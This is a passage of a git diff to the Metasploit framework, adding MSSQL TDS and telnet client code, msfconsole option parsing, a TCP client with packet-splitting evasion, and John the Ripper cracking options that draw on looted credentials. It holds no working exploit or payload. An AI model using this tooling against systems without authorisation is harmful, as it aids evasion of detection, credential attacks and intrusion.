TDS token + # + def mssql_parse_login_ack(data, info) + len = data.slice!(0,2).unpack('v')[0] + buff = data.slice!(0,len) + info[:login_ack] = true + end + + # + # Parse individual tokens from a TDS reply + # + def mssql_parse_reply(data, info) + info[:errors] = [] + return if not data + until data.empty? + token = data.slice!(0,1).unpack('C')[0] + case token + when 0x81 + mssql_parse_tds_reply(data, info) + when 0xd1 + mssql_parse_tds_row(data, info) + when 0xe3 + mssql_parse_env(data, info) + when 0x79 + mssql_parse_ret(data, info) + when 0xfd, 0xfe, 0xff + mssql_parse_done(data, info) + when 0xad + mssql_parse_login_ack(data, info) + when 0xab + mssql_parse_info(data, info) + when 0xaa + mssql_parse_error(data, info) + when nil + break + else + info[:errors] << "unsupported token: #{token}" + end + end + info + end + + # + # Parse a raw TDS reply from the server + # + def mssql_parse_tds_reply(data, info) + info[:errors] ||= [] + info[:colinfos] ||= [] + info[:colnames] ||= [] + + # Parse out the columns + cols = data.slice!(0,2).unpack('v')[0] + 0.upto(cols-1) do |col_idx| + col = {} + info[:colinfos][col_idx] = col + + col[:utype] = data.slice!(0,2).unpack('v')[0] + col[:flags] = data.slice!(0,2).unpack('v')[0] + col[:type] = data.slice!(0,1).unpack('C')[0] + + case col[:type] + when 48 + col[:id] = :tinyint + + when 52 + col[:id] = :smallint + + when 56 + col[:id] = :rawint + + when 61 + col[:id] = :datetime + + when 34 + col[:id] = :image + col[:max_size] = data.slice!(0,4).unpack('V')[0] + col[:value_length] = data.slice!(0,2).unpack('v')[0] + col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '') + + when 36 + col[:id] = :string + + when 38 + col[:id] = :int + col[:int_size] = data.slice!(0,1).unpack('C')[0] + + when 127 + col[:id] = :bigint + + when 165 + col[:id] = :hex + col[:max_size] = data.slice!(0,2).unpack('v')[0] + + when 173 + col[:id] = :hex # binary(2) + col[:max_size] = data.slice!(0,2).unpack('v')[0] + + when 231,175,167,239 + col[:id] = :string + col[:max_size] = data.slice!(0,2).unpack('v')[0] + col[:codepage] = data.slice!(0,2).unpack('v')[0] + col[:cflags] = data.slice!(0,2).unpack('v')[0] + col[:charset_id] = data.slice!(0,1).unpack('C')[0] + + else + col[:id] = :unknown + end + + col[:msg_len] = data.slice!(0,1).unpack('C')[0] + + if(col[:msg_len] and col[:msg_len] > 0) + col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '') + end + info[:colnames] << (col[:name] || 'NULL') + end + end + + # + # Parse a single row of a TDS reply + # + def mssql_parse_tds_row(data, info) + info[:rows] ||= [] + row = [] + + info[:colinfos].each do |col| + + if(data.length == 0) + row << "" + next + end + + case col[:id] + when :hex + str = "" + len = data.slice!(0,2).unpack('v')[0] + if(len > 0 and len < 65535) + str << data.slice!(0,len) + end + row << str.unpack("H*")[0] + + when :string + str = "" + len = data.slice!(0,2).unpack('v')[0] + if(len > 0 and len < 65535) + str << data.slice!(0,len) + end + row << str.gsub("\x00", '') + + when :datetime + row << data.slice!(0,8).unpack("H*")[0] + + when :rawint + row << data.slice!(0,4).unpack('V')[0] + + when :bigint + row << data.slice!(0,8).unpack("H*")[0] + + when :smallint + row << data.slice!(0, 2).unpack("v")[0] + + when :smallint3 + row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0] + + when :tinyint + row << data.slice!(0, 1).unpack("C")[0] + + when :image + str = '' + len = data.slice!(0,1).unpack('C')[0] + str = data.slice!(0,len) if (len and len > 0) + row << str.unpack("H*")[0] + + when :int + len = data.slice!(0, 1).unpack("C")[0] + raw = data.slice!(0, len) if (len and len > 0) + + case len + when 0,255 + row << '' + when 1 + row << raw.unpack("C")[0] + when 2 + row << raw.unpack('v')[0] + when 4 + row << raw.unpack('V')[0] + when 5 + row << raw.unpack('V')[0] # XXX: missing high byte + when 8 + row << raw.unpack('VV')[0] # XXX: missing high dword + else + info[:errors] << "invalid integer size: #{len} #{data[0,16].unpack("H*")[0]}" + end + else + info[:errors] << "unknown column type: #{col.inspect}" + end + end + + info[:rows] << row + info + end + + # + #this method send a prelogin packet and check if encryption is off + # + def mssql_prelogin(enc_error=false) + + pkt = "" + pkt_hdr = "" + pkt_data_token = "" + pkt_data = "" + + + pkt_hdr = [ + TYPE_PRE_LOGIN_MESSAGE, #type + STATUS_END_OF_MESSAGE, #status + 0x0000, #length + 0x0000, # SPID + 0x00, # PacketID + 0x00 #Window + ] + + version = [0x55010008,0x0000].pack("Vv") + encryption = ENCRYPT_NOT_SUP # off + instoptdata = "MSSQLServer\0" + + threadid = "\0\0" + Rex::Text.rand_text(2) + + idx = 21 # size of pkt_data_token + pkt_data_token << [ + 0x00, # Token 0 type Version + idx , # VersionOffset + version.length, # VersionLength + + 0x01, # Token 1 type Encryption + idx = idx + version.length, # EncryptionOffset + 0x01, # EncryptionLength + + 0x02, # Token 2 type InstOpt + idx = idx + 1, # InstOptOffset + instoptdata.length, # InstOptLength + + 0x03, # Token 3 type Threadid + idx + instoptdata.length, # ThreadIdOffset + 0x04, # ThreadIdLength + + 0xFF + ].pack("CnnCnnCnnCnnC") + + pkt_data << pkt_data_token + pkt_data << version + pkt_data << encryption + pkt_data << instoptdata + pkt_data << threadid + + pkt_hdr[2] = pkt_data.length + 8 + + pkt = pkt_hdr.pack("CCnnCC") + pkt_data + + resp = mssql_send_recv(pkt) + + idx = 0 + + while resp and resp[0,1] != "\xff" and resp.length > 5 + token = resp.slice!(0,5) + token = token.unpack("Cnn") + idx -= 5 + if token[0] == 0x01 + + idx += token[1] + break + end + end + if idx > 0 + encryption_mode = resp[idx,1].unpack("C")[0] + else + #force to ENCRYPT_NOT_SUP and hope for the best + encryption_mode = ENCRYPT_NOT_SUP + end + + if encryption_mode != ENCRYPT_NOT_SUP and enc_error + raise RuntimeError,"Encryption is not supported" + end + encryption_mode + end + + # + # Send and receive using TDS + # + def mssql_send_recv(req, timeout=15, check_status = true) + sock.put(req) + + # Read the 8 byte header to get the length and status + # Read the length to get the data + # If the status is 0, read another header and more data + + done = false + resp = "" + + while(not done) + head = sock.get_once(8, timeout) + if !(head and head.length == 8) + return false + end + + # Is this the last buffer? + if(head[1,1] == "\x01" or not check_status ) + done = true + end + + # Grab this block's length + rlen = head[2,2].unpack('n')[0] - 8 + + while(rlen > 0) + buff = sock.get_once(rlen, timeout) + return if not buff + resp << buff + rlen -= buff.length + end + end + + resp + end + + # + # Encrypt a password according to the TDS protocol (encode) + # + def mssql_tds_encrypt(pass) + # Convert to unicode, swap 4 bits both ways, xor with 0xa5 + Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*") + end + + protected + + def windows_authentication + raise NotImplementedError + end + + def use_ntlm2_session + raise NotImplementedError + end + + def use_ntlmv2 + raise NotImplementedError + end + + def send_lm + raise NotImplementedError + end + + def send_ntlm + raise NotImplementedError + end + + def send_spn + raise NotImplementedError + end + + end + + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/parsed_options.rb b/lib/metasploit/framework/parsed_options.rb new file mode 100644 index 0000000000..4a5727fc0f --- /dev/null +++ b/lib/metasploit/framework/parsed_options.rb @@ -0,0 +1,27 @@ +# +# Gems +# + +require 'active_support/dependencies/autoload' + +# @note Must use the nested declaration of the +# {Metasploit::Framework::ParsedOptions} namespace because commands, which +# use parsed options, need to be able to be required directly without any +# other part of metasploit-framework besides config/boot so that the +# commands can parse arguments, setup RAILS_ENV, and load +# config/application.rb correctly. +module Metasploit + module Framework + # Namespace for parsed options for {Metasploit::Framework::Command + # commands}. The names of `Class`es in this namespace correspond to the + # name of the `Class` in the {Metasploit::Framework::Command} namespace + # for which this namespace's `Class` parses options. + module ParsedOptions + extend ActiveSupport::Autoload + + autoload :Base + autoload :Console + end + end +end + diff --git a/lib/metasploit/framework/parsed_options/base.rb b/lib/metasploit/framework/parsed_options/base.rb new file mode 100644 index 0000000000..3230ee214e --- /dev/null +++ b/lib/metasploit/framework/parsed_options/base.rb @@ -0,0 +1,185 @@ +# +# Standard Library +# + +require 'optparse' + +# +# Gems +# + +require 'active_support/ordered_options' + +# +# Project +# + +require 'metasploit/framework/parsed_options' +require 'msf/base/config' + +# Options parsed from the command line that can be used to change the +# `Metasploit::Framework::Application.config` and `Rails.env` +class Metasploit::Framework::ParsedOptions::Base + # + # CONSTANTS + # + + # msfconsole boots in production mode instead of the normal rails default of + # development. + DEFAULT_ENVIRONMENT = 'production' + + # + # Attributes + # + + attr_reader :positional + + # + # Instance Methods + # + + def initialize(arguments=ARGV) + @positional = option_parser.parse(arguments) + end + + # Translates {#options} to the `application`'s config + # + # @param application [Rails::Application] + # @return [void] + def configure(application) + application.config['config/database'] = options.database.config + end + + # Sets the `RAILS_ENV` environment variable. + # + # 1. If the -E/--environment option is given, then its value is used. + # 2. The default value, 'production', is used. + # + # @return [void] + def environment! + if defined?(Rails) && Rails.instance_variable_defined?(:@_env) && Rails.env != options.environment + raise "#{self.class}##{__method__} called too late to set RAILS_ENV: Rails.env already memoized" + end + + ENV['RAILS_ENV'] = options.environment + end + + # Options parsed from + # + # @return [ActiveSupport::OrderedOptions] + def options + unless @options + options = ActiveSupport::OrderedOptions.new + + options.database = ActiveSupport::OrderedOptions.new + + user_config_root = Pathname.new(Msf::Config.get_config_root) + user_database_yaml = user_config_root.join('database.yml') + + if user_database_yaml.exist? + options.database.config = user_database_yaml.to_path + else + options.database.config = 'config/database.yml' + end + + options.database.disable = false + options.database.migrations_paths = [] + + # If RAILS_ENV is set, then it will be used, but if RAILS_ENV is set and the --environment option is given, then + # --environment value will be used to reset ENV[RAILS_ENV]. + options.environment = ENV['RAILS_ENV'] || DEFAULT_ENVIRONMENT + + options.framework = ActiveSupport::OrderedOptions.new + options.framework.config = nil + + options.modules = ActiveSupport::OrderedOptions.new + options.modules.path = nil + + @options = options + end + + @options + end + + private + + # Parses arguments into {#options}. + # + # @return [OptionParser] + def option_parser + @option_parser ||= OptionParser.new { |option_parser| + option_parser.separator '' + option_parser.separator 'Common options' + + option_parser.on( + '-E', + '--environment ENVIRONMENT', + %w{development production test}, + "The Rails environment. Will use RAIL_ENV environment variable if that is set. " \ + "Defaults to production if neither option not RAILS_ENV environment variable is set." + ) do |environment| + options.environment = environment + end + + option_parser.separator '' + option_parser.separator 'Database options' + + option_parser.on( + '-M', + '--migration-path DIRECTORY', + 'Specify a directory containing additional DB migrations' + ) do |directory| + options.database.migrations_paths << directory + end + + option_parser.on('-n', '--no-database', 'Disable database support') do + options.database.disable = true + end + + option_parser.on( + '-y', + '--yaml PATH', + 'Specify a YAML file containing database settings' + ) do |path| + options.database.config = path + end + + option_parser.separator '' + option_parser.separator 'Framework options' + + + option_parser.on('-c', '-c FILE', 'Load the specified configuration file') do |file| + options.framework.config = file + end + + option_parser.on( + '-v', + '--version', + 'Show version' + ) do + options.subcommand = :version + end + + option_parser.separator '' + option_parser.separator 'Module options' + + option_parser.on( + '-m', + '--module-path DIRECTORY', + 'An additional module path' + ) do |directory| + options.modules.path = directory + end + + # + # Tail + # + + option_parser.separator '' + option_parser.on_tail('-h', '--help', 'Show this message') do + puts option_parser + exit + end + } + end +end diff --git a/lib/metasploit/framework/parsed_options/console.rb b/lib/metasploit/framework/parsed_options/console.rb new file mode 100644 index 0000000000..ff9f75a73f --- /dev/null +++ b/lib/metasploit/framework/parsed_options/console.rb @@ -0,0 +1,79 @@ +# Parsed options for {Metasploit::Framework::Command::Console} +class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::ParsedOptions::Base + # Options parsed from msfconsole command-line. + # + # @return [ActiveSupport::OrderedOptions] + def options + unless @options + super.tap { |options| + options.console = ActiveSupport::OrderedOptions.new + + options.console.commands = [] + options.console.confirm_exit = false + options.console.defanged = false + options.console.local_output = nil + options.console.plugins = [] + options.console.quiet = false + options.console.real_readline = false + options.console.resources = [] + options.console.subcommand = :run + } + end + + @options + end + + private + + # Parses msfconsole arguments into {#options}. + # + # @return [OptionParser] + def option_parser + unless @option_parser + super.tap { |option_parser| + option_parser.banner = "Usage: #{option_parser.program_name} [options]" + + option_parser.separator '' + option_parser.separator 'Console options:' + + option_parser.on('-a', '--ask', "Ask before exiting Metasploit or accept 'exit -y'") do + options.console.confirm_exit = true + end + + option_parser.on('-d', '--defanged', 'Execute the console as defanged') do + options.console.defanged = true + end + + option_parser.on('-L', '--real-readline', 'Use the system Readline library instead of RbReadline') do + options.console.real_readline = true + end + + option_parser.on('-o', '--output FILE', 'Output to the specified file') do |file| + options.console.local_output = file + end + + option_parser.on('-p', '--plugin PLUGIN', 'Load a plugin on startup') do |plugin| + options.console.plugins << plugin + end + + option_parser.on('-q', '--quiet', 'Do not print the banner on start up') do + options.console.quiet = true + end + + option_parser.on('-r', '--resource FILE', 'Execute the specified resource file') do |file| + options.console.resources << file + end + + option_parser.on( + '-x', + '--execute-command COMMAND', + 'Execute the specified string as console commands (use ; for multiples)' + ) do |commands| + options.console.commands += commands.split(/\s*;\s*/) + end + } + end + + @option_parser + end +end diff --git a/lib/metasploit/framework/require.rb b/lib/metasploit/framework/require.rb new file mode 100644 index 0000000000..c493c834e6 --- /dev/null +++ b/lib/metasploit/framework/require.rb @@ -0,0 +1,92 @@ +# @note needs to use explicit nesting. so this file can be loaded directly without loading 'metasploit/framework', this +# file can be used prior to Bundler.require. +module Metasploit + module Framework + # Extension to `Kernel#require` behavior. + module Require + # + # Module Methods + # + + # Tries to require `name`. If a `LoadError` occurs, then `without_warning` is printed to standard error using + # `Kernel#warn`, along with instructions for reinstalling the bundle. If a `LoadError` does not occur, then + # `with_block` is called. + # + # @param name [String] the name of the library to `Kernel#require`. + # @param without_warning [String] warning to print if `name` cannot be required. + # @yield block to run when `name` requires successfully + # @yieldreturn [void] + # @return [void] + def self.optionally(name, without_warning) + begin + require name + rescue LoadError + warn without_warning + warn "Bundle installed '--without #{Bundler.settings.without.join(' ')}'" + warn "To clear the without option do `bundle install --without ''` " \ + "(the --without flag with an empty string) or " \ + "`rm -rf .bundle` to remove the .bundle/config manually and " \ + "then `bundle install`" + else + if block_given? + yield + end + end + end + + # Tries to `require 'active_record/railtie'` to define the activerecord Rails initializers and rake tasks. + # + # @example Optionally requiring 'active_record/railtie' + # require 'metasploit/framework/require' + # + # class MyClass + # def setup + # if database_enabled + # Metasploit::Framework::Require.optionally_active_record_railtie + # end + # end + # end + # + # @return [void] + def self.optionally_active_record_railtie + optionally( + 'active_record/railtie', + 'activerecord not in the bundle, so database support will be disabled.' + ) + end + + # Tries to `require 'metasploit/credential/creation'` and include it in the `including_module`. + # + # @param including_module [Module] `Class` or `Module` that wants to `include Metasploit::Credential::Creation`. + # @return [void] + def self.optionally_include_metasploit_credential_creation(including_module) + optionally( + 'metasploit/credential/creation', + "metasploit-credential not in the bundle, so Metasploit::Credential creation will fail for #{including_module.name}", + ) do + including_module.send(:include, Metasploit::Credential::Creation) + end + end + + # + # Instance Methods + # + + # Tries to `require 'metasploit/credential/creation'` and include it in this `Class` or `Module`. + # + # @example Using in a `Module` + # require 'metasploit/framework/require' + # + # module MyModule + # extend Metasploit::Framework::Require + # + # optionally_include_metasploit_credential_creation + # end + # + # @return [void] + def optionally_include_metasploit_credential_creation + Metasploit::Framework::Require.optionally_include_metasploit_credential_creation(self) + end + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/tcp/client.rb b/lib/metasploit/framework/tcp/client.rb new file mode 100644 index 0000000000..9320936192 --- /dev/null +++ b/lib/metasploit/framework/tcp/client.rb @@ -0,0 +1,186 @@ +module Metasploit + module Framework + module Tcp + + module EvasiveTCP + attr_accessor :_send_size, :_send_delay, :evasive + + def denagle + begin + setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1) + rescue ::Exception + end + end + + def write(buf, opts={}) + + return super(buf, opts) if not @evasive + + ret = 0 + idx = 0 + len = @_send_size || buf.length + + while(idx < buf.length) + + if(@_send_delay and idx > 0) + ::IO.select(nil, nil, nil, @_send_delay) + end + + pkt = buf[idx, len] + + res = super(pkt, opts) + flush() + + idx += len + ret += res if res + end + ret + end + end + + module Client + + # + # Establishes a TCP connection to the specified RHOST/RPORT + # + # @see Rex::Socket::Tcp + # @see Rex::Socket::Tcp.create + def connect(global = true, opts={}) + + dossl = false + if(opts.has_key?('SSL')) + dossl = opts['SSL'] + else + dossl = ssl + end + + nsock = Rex::Socket::Tcp.create( + 'PeerHost' => opts['RHOST'] || rhost, + 'PeerPort' => (opts['RPORT'] || rport).to_i, + 'LocalHost' => opts['CHOST'] || chost || "0.0.0.0", + 'LocalPort' => (opts['CPORT'] || cport || 0).to_i, + 'SSL' => dossl, + 'SSLVersion' => opts['SSLVersion'] || ssl_version, + 'Proxies' => proxies, + 'Timeout' => (opts['ConnectTimeout'] || connection_timeout || 10).to_i + ) + + # enable evasions on this socket + set_tcp_evasions(nsock) + + # Set this socket to the global socket as necessary + self.sock = nsock if (global) + + return nsock + end + + # Enable evasions on a given client + def set_tcp_evasions(socket) + + if( max_send_size.to_i == 0 and send_delay.to_i == 0) + return + end + + return if socket.respond_to?('evasive') + + socket.extend(EvasiveTCP) + + if ( max_send_size.to_i > 0) + socket._send_size = max_send_size + socket.denagle + socket.evasive = true + end + + if ( send_delay.to_i > 0) + socket._send_delay = send_delay + socket.evasive = true + end + end + + # + # Closes the TCP connection + # + def disconnect(nsock = self.sock) + begin + if (nsock) + nsock.shutdown + nsock.close + end + rescue IOError + end + + if (nsock == sock) + self.sock = nil + end + + end + + ## + # + # Wrappers for getters + # + ## + + def max_send_size + raise NotImplementedError + end + + def send_delay + raise NotImplementedError + end + + # + # Returns the target host + # + def rhost + raise NotImplementedError + end + + # + # Returns the remote port + # + def rport + raise NotImplementedError + end + + # + # Returns the local host for outgoing connections + # + def chost + raise NotImplementedError + end + + # + # Returns the local port for outgoing connections + # + def cport + raise NotImplementedError + end + + # + # Returns the boolean indicating SSL + # + def ssl + raise NotImplementedError + end + + # + # Returns the string indicating SSLVersion + # + def ssl_version + raise NotImplementedError + end + + # + # Returns the proxy configuration + # + def proxies + raise NotImplementedError + end + + attr_accessor :sock + + end + end + end +end diff --git a/lib/metasploit/framework/telnet/client.rb b/lib/metasploit/framework/telnet/client.rb new file mode 100644 index 0000000000..7b88dcf2bf --- /dev/null +++ b/lib/metasploit/framework/telnet/client.rb @@ -0,0 +1,219 @@ +require 'metasploit/framework/tcp/client' + +module Metasploit + module Framework + module Telnet + module Client + include Metasploit::Framework::Tcp::Client + include Msf::Auxiliary::Login + + attr_accessor :banner + + # + # CONSTANTS + # + # Borrowing constants from Ruby's Net::Telnet class (ruby license) + IAC = 255.chr # "\377" # "\xff" # interpret as command + DONT = 254.chr # "\376" # "\xfe" # you are not to use option + DO = 253.chr # "\375" # "\xfd" # please, you use option + WONT = 252.chr # "\374" # "\xfc" # I won't use option + WILL = 251.chr # "\373" # "\xfb" # I will use option + SB = 250.chr # "\372" # "\xfa" # interpret as subnegotiation + GA = 249.chr # "\371" # "\xf9" # you may reverse the line + EL = 248.chr # "\370" # "\xf8" # erase the current line + EC = 247.chr # "\367" # "\xf7" # erase the current character + AYT = 246.chr # "\366" # "\xf6" # are you there + AO = 245.chr # "\365" # "\xf5" # abort output--but let prog finish + IP = 244.chr # "\364" # "\xf4" # interrupt process--permanently + BREAK = 243.chr # "\363" # "\xf3" # break + DM = 242.chr # "\362" # "\xf2" # data mark--for connect. cleaning + NOP = 241.chr # "\361" # "\xf1" # nop + SE = 240.chr # "\360" # "\xf0" # end sub negotiation + EOR = 239.chr # "\357" # "\xef" # end of record (transparent mode) + ABORT = 238.chr # "\356" # "\xee" # Abort process + SUSP = 237.chr # "\355" # "\xed" # Suspend process + EOF = 236.chr # "\354" # "\xec" # End of file + SYNCH = 242.chr # "\362" # "\xf2" # for telfunc calls + + OPT_BINARY = 0.chr # "\000" # "\x00" # Binary Transmission + OPT_ECHO = 1.chr # "\001" # "\x01" # Echo + OPT_RCP = 2.chr # "\002" # "\x02" # Reconnection + OPT_SGA = 3.chr # "\003" # "\x03" # Suppress Go Ahead + OPT_NAMS = 4.chr # "\004" # "\x04" # Approx Message Size Negotiation + OPT_STATUS = 5.chr # "\005" # "\x05" # Status + OPT_TM = 6.chr # "\006" # "\x06" # Timing Mark + OPT_RCTE = 7.chr # "\a" # "\x07" # Remote Controlled Trans and Echo + OPT_NAOL = 8.chr # "\010" # "\x08" # Output Line Width + OPT_NAOP = 9.chr # "\t" # "\x09" # Output Page Size + OPT_NAOCRD = 10.chr # "\n" # "\x0a" # Output Carriage-Return Disposition + OPT_NAOHTS = 11.chr # "\v" # "\x0b" # Output Horizontal Tab Stops + OPT_NAOHTD = 12.chr # "\f" # "\x0c" # Output Horizontal Tab Disposition + OPT_NAOFFD = 13.chr # "\r" # "\x0d" # Output Formfeed Disposition + OPT_NAOVTS = 14.chr # "\016" # "\x0e" # Output Vertical Tabstops + OPT_NAOVTD = 15.chr # "\017" # "\x0f" # Output Vertical Tab Disposition + OPT_NAOLFD = 16.chr # "\020" # "\x10" # Output Linefeed Disposition + OPT_XASCII = 17.chr # "\021" # "\x11" # Extended ASCII + OPT_LOGOUT = 18.chr # "\022" # "\x12" # Logout + OPT_BM = 19.chr # "\023" # "\x13" # Byte Macro + OPT_DET = 20.chr # "\024" # "\x14" # Data Entry Terminal + OPT_SUPDUP = 21.chr # "\025" # "\x15" # SUPDUP + OPT_SUPDUPOUTPUT = 22.chr # "\026" # "\x16" # SUPDUP Output + OPT_SNDLOC = 23.chr # "\027" # "\x17" # Send Location + OPT_TTYPE = 24.chr # "\030" # "\x18" # Terminal Type + OPT_EOR = 25.chr # "\031" # "\x19" # End of Record + OPT_TUID = 26.chr # "\032" # "\x1a" # TACACS User Identification + OPT_OUTMRK = 27.chr # "\e" # "\x1b" # Output Marking + OPT_TTYLOC = 28.chr # "\034" # "\x1c" # Terminal Location Number + OPT_3270REGIME = 29.chr # "\035" # "\x1d" # Telnet 3270 Regime + OPT_X3PAD = 30.chr # "\036" # "\x1e" # X.3 PAD + OPT_NAWS = 31.chr # "\037" # "\x1f" # Negotiate About Window Size + OPT_TSPEED = 32.chr # " " # "\x20" # Terminal Speed + OPT_LFLOW = 33.chr # "!" # "\x21" # Remote Flow Control + OPT_LINEMODE = 34.chr # "\"" # "\x22" # Linemode + OPT_XDISPLOC = 35.chr # "#" # "\x23" # X Display Location + OPT_OLD_ENVIRON = 36.chr # "$" # "\x24" # Environment Option + OPT_AUTHENTICATION = 37.chr # "%" # "\x25" # Authentication Option + OPT_ENCRYPT = 38.chr # "&" # "\x26" # Encryption Option + OPT_NEW_ENVIRON = 39.chr # "'" # "\x27" # New Environment Option + OPT_EXOPL = 255.chr # "\377" # "\xff" # Extended-Options-List + + # + # This method establishes an Telnet connection to host and port specified by + # the RHOST and RPORT options, respectively. After connecting, the banner + # message is read in and stored in the 'banner' attribute. This method has the + # benefit of handling telnet option negotiation. + # + def connect(global = true, verbose = true) + @trace = '' + @recvd = '' + fd = super(global) + + self.banner = '' + # Wait for a banner to arrive... + begin + Timeout.timeout(banner_timeout) do + while(true) + buff = recv(fd) + self.banner << buff if buff + if(self.banner =~ @login_regex or self.banner =~ @password_regex) + break + elsif self.banner =~ @busy_regex + # It's about to drop connection anyway -- seen on HP JetDirect telnet server + break + end + end + end + rescue ::Timeout::Error + end + + self.banner.strip! + + # Return the file descriptor to the caller + fd + end + + # Sometimes telnet servers start RSTing if you get them angry. + # This is a short term fix; the problem is that we don't know + # if it's going to reset forever, or just this time, or randomly. + # A better solution is to get the socket connect to try again + # with a little backoff. + def connect_reset_safe + begin + connect + rescue Rex::ConnectionRefused + return :refused + end + return :connected + end + + def recv(fd=self.sock, timeout=telnet_timeout) + recv_telnet(fd, timeout.to_f) + end + + # + # Handle telnet option negotiation + # + # Appends to the @recvd buffer which is used to tell us whether we're at a + # login prompt, a password prompt, or a working shell. + # + def recv_telnet(fd, timeout) + + data = '' + + begin + data = fd.get_once(-1, timeout) + return nil if not data or data.length == 0 + + # combine CR+NULL into CR + data.gsub!(/#{CR}#{NULL}/no, CR) + + # combine EOL into "\n" + data.gsub!(/#{EOL}/no, "\n") + + data.gsub!(/#{IAC}( + [#{IAC}#{AO}#{AYT}#{DM}#{IP}#{NOP}]|[#{DO}#{DONT}#{WILL}#{WONT}] + [#{OPT_BINARY}-#{OPT_NEW_ENVIRON}#{OPT_EXOPL}]|#{SB}[^#{IAC}]*#{IAC}#{SE} + )/xno) do + m = $1 + + if m == IAC + IAC + elsif m == AYT + fd.write("YES" + EOL) + '' + elsif m[0,1] == DO + if(m[1,1] == OPT_BINARY) + fd.write(IAC + WILL + OPT_BINARY) + else + fd.write(IAC + WONT + m[1,1]) + end + '' + elsif m[0,1] == DONT + fd.write(IAC + WONT + m[1,1]) + '' + elsif m[0,1] == WILL + if m[1,1] == OPT_BINARY + fd.write(IAC + DO + OPT_BINARY) + # Disable Echo + elsif m[1,1] == OPT_ECHO + fd.write(IAC + DONT + OPT_ECHO) + elsif m[1,1] == OPT_SGA + fd.write(IAC + DO + OPT_SGA) + else + fd.write(IAC + DONT + m[1,1]) + end + '' + elsif m[0,1] == WONT + fd.write(IAC + DONT + m[1,1]) + '' + else + '' + end + end + + @trace << data + @recvd << data + fd.flush + + rescue ::EOFError, ::Errno::EPIPE + end + + data + end + + # + # Wrappers for getters + # + + def banner_timeout + raise NotImplementedError + end + + def telnet_timeout + raise NotImplementedError + end + + end + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb new file mode 100644 index 0000000000..bd19c79202 --- /dev/null +++ b/lib/metasploit/framework/version.rb @@ -0,0 +1,13 @@ +module Metasploit + module Framework + module Version + MAJOR = 4 + MINOR = 10 + PATCH = 1 + PRERELEASE = 'dev' + end + + VERSION = "#{Version::MAJOR}.#{Version::MINOR}.#{Version::PATCH}-#{Version::PRERELEASE}" + GEM_VERSION = VERSION.gsub('-', '.pre.') + end +end diff --git a/lib/msf/base/config.rb b/lib/msf/base/config.rb index b5a8b2f40f..beaac2a5b8 100644 --- a/lib/msf/base/config.rb +++ b/lib/msf/base/config.rb @@ -1,6 +1,18 @@ # -*- coding: binary -*- + +# +# Standard Library +# + require 'fileutils' +# +# Project +# + +require 'metasploit/framework/version' +require 'rex/compat' + module Msf # This class wraps interaction with global configuration that can be used as a @@ -25,16 +37,16 @@ class Config < Hash ['HOME', 'LOCALAPPDATA', 'APPDATA', 'USERPROFILE'].each do |dir| val = Rex::Compat.getenv(dir) if (val and File.directory?(val)) - return File.join(val, ".msf#{Msf::Framework::Major}") + return File.join(val, ".msf#{Metasploit::Framework::Version::MAJOR}") end end begin # First we try $HOME/.msfx - File.expand_path("~#{FileSep}.msf#{Msf::Framework::Major}") + File.expand_path("~#{FileSep}.msf#{Metasploit::Framework::Version::MAJOR}") rescue ::ArgumentError # Give up and install root + ".msfx" - InstallRoot + ".msf#{Msf::Framework::Major}" + InstallRoot + ".msf#{Metasploit::Framework::Version::MAJOR}" end end diff --git a/lib/msf/base/simple/framework/module_paths.rb b/lib/msf/base/simple/framework/module_paths.rb index 481068cf3c..e0977be756 100644 --- a/lib/msf/base/simple/framework/module_paths.rb +++ b/lib/msf/base/simple/framework/module_paths.rb @@ -9,9 +9,10 @@ module Msf # Ensure the module cache is accurate self.modules.refresh_cache_from_database - # Initialize the default module search paths - if (Msf::Config.module_directory) - self.modules.add_module_path(Msf::Config.module_directory, opts) + add_engine_module_paths(Rails.application, opts) + + Rails.application.railties.engines.each do |engine| + add_engine_module_paths(engine, opts) end # Initialize the user module search path @@ -27,6 +28,25 @@ module Msf } end end + + private + + # Add directories `engine.paths['modules']` from `engine`. + # + # @param engine [Rails::Engine] a rails engine or application + # @param options [Hash] options for {Msf::ModuleManager::ModulePaths#add_module_paths} + # @return [void] + def add_engine_module_paths(engine, options={}) + modules_paths = engine.paths['modules'] + + if modules_paths + modules_directories = modules_paths.existent_directories + + modules_directories.each do |modules_directory| + modules.add_module_path(modules_directory, options) + end + end + end end end end diff --git a/lib/msf/core/auxiliary/jtr.rb b/lib/msf/core/auxiliary/jtr.rb index db7af6a43f..b430f4b935 100644 --- a/lib/msf/core/auxiliary/jtr.rb +++ b/lib/msf/core/auxiliary/jtr.rb @@ -2,7 +2,8 @@ require 'open3' require 'fileutils' require 'rex/proto/ntlm/crypt' - +require 'metasploit/framework/jtr/cracker' +require 'metasploit/framework/jtr/wordlist' module Msf @@ -24,243 +25,28 @@ module Auxiliary::JohnTheRipper register_options( [ - OptPath.new('JOHN_BASE', [false, 'The directory containing John the Ripper (src, run, doc)']), - OptPath.new('JOHN_PATH', [false, 'The absolute path to the John the Ripper executable']), - OptPath.new('Wordlist', [false, 'The path to an optional Wordlist']), - OptBool.new('Munge',[false, 'Munge the Wordlist (Slower)', false]) + OptPath.new('CONFIG', [false, 'The path to a John config file to use instead of the default']), + OptPath.new('CUSTOM_WORDLIST', [false, 'The path to an optional custom wordlist']), + OptInt.new('ITERATION_TIMOUT', [false, 'The max-run-time for each iteration of cracking']), + OptPath.new('JOHN_PATH', [false, 'The absolute path to the John the Ripper executable']), + OptBool.new('MUTATE', [false, 'Apply common mutations to the Wordlist (SLOW)', false]), + OptPath.new('POT', [false, 'The path to a John POT file to use instead of the default']), + OptBool.new('USE_CREDS', [false, 'Use existing credential data saved in the database', true]), + OptBool.new('USE_DB_INFO', [false, 'Use looted database schema info to seed the wordlist', true]), + OptBool.new('USE_DEFAULT_WORDLIST', [false, 'Use the default metasploit wordlist', true]), + OptBool.new('USE_HOSTNAMES', [false, 'Seed the wordlist with hostnames from the workspace', true]), + OptBool.new('USE_ROOT_WORDS', [false, 'Use the Common Root Words Wordlist', true]) ], 